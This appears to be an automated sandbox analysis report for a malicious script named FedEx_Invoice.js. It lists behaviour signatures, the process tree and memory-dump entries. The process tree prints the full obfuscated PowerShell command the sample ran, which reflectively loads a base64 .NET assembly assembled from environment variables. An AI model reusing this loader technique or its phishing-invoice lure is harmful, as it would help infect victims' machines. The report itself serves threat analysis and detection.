Analysis
- max time kernel
148s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
01/10/2026, 14:48
General
- Target FedEx_Invoice.js
- Size 4.9MB
- Sample261001-r6lfvsst2j
- SHA256 0e4f681e69ffd345f984f1cc2a8d34f80f006bc5a6b51bbb54fcb67a6339c687
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\FedEx_Invoice.js1⤵
- Creates a file in the Startup directory
- Reads the TCP/IP host and domain name from the registry
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "$gametocyst=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$pussies=[System.Reflection.Assembly]::Load([Convert]::FromBase64String($gametocyst));[Win32.RMP.Cls_oLvYBQAkxu]::Met_ZfOPYOSnvkJI('+FCth48wIQXM+adlH9XXKdAitXiq7Pd3ceAYu2Z6+G+xxoxFYVJrDWrBE5RBbZaZru7lVRDvD23dx1DSkwpDZg==','','qLRJ1+rIP3PCwvwps2OvFlbcCvDtYbp1ftknScMfaNk0Csjr1V7T2+YtlKRi+kHk','MWx4cW/zhF/bTPvHV1Oi6BfSzRm6erj4pq9DTwuQpfM=','9hlE/YMOMfzMcSpkYQMSctm+OTM8ayHOt7yzuPb2AV8=','9PVNnls7WqyC8CyUdzgYuoUiGmL7f7fB2FAXQYn9EfQ=','xFMOOPs4hp6/cv6LtsV2jt7CQGjtDFqKfcq3iMdYgpw=','','VboylpNF7TUjRDvUzYKaueAa/19PdU/Ev2j+hlCMed4=','wVowE57bV1U6F9SfKxSzKCrF5WE9BwQOb+aCuxZcnmWRIqRBrfwGPRifxVKnoaJT','N01WW1Jv6iVf3p9dpxuwJW3gEdtPaDd3cnwm1ns2esc=','O3DD65WkBpheV9PJ7nBbqTMQMZquQgzl1GTddjEmRPU=','XjZUzjgiX0mw30Q7+UYPePMyqQieTqiFROLlnCTDtaY=','','ngk+BqQdLkm2AVqkk9BbIq+hSyDvIJxqE1tRBxHIAsQ=','kEWGeSPagCcQ5biabQsaD3nermIPbW2LsVayzAQn8xo=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/6008-0-0x00007FFDE1C8F000-0x00007FFDE1C90000-memory.dmp
memory/6008-1-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-4-0x00000224D0640000-0x00000224D0662000-memory.dmp
memory/6008-5-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-6-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-7-0x00000224B8600000-0x00000224B8622000-memory.dmp
memory/6008-8-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-9-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-10-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-11-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-12-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-13-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-14-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-15-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-16-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp
memory/6008-18-0x00007FFDE1B00000-0x00007FFDE24A4000-memory.dmp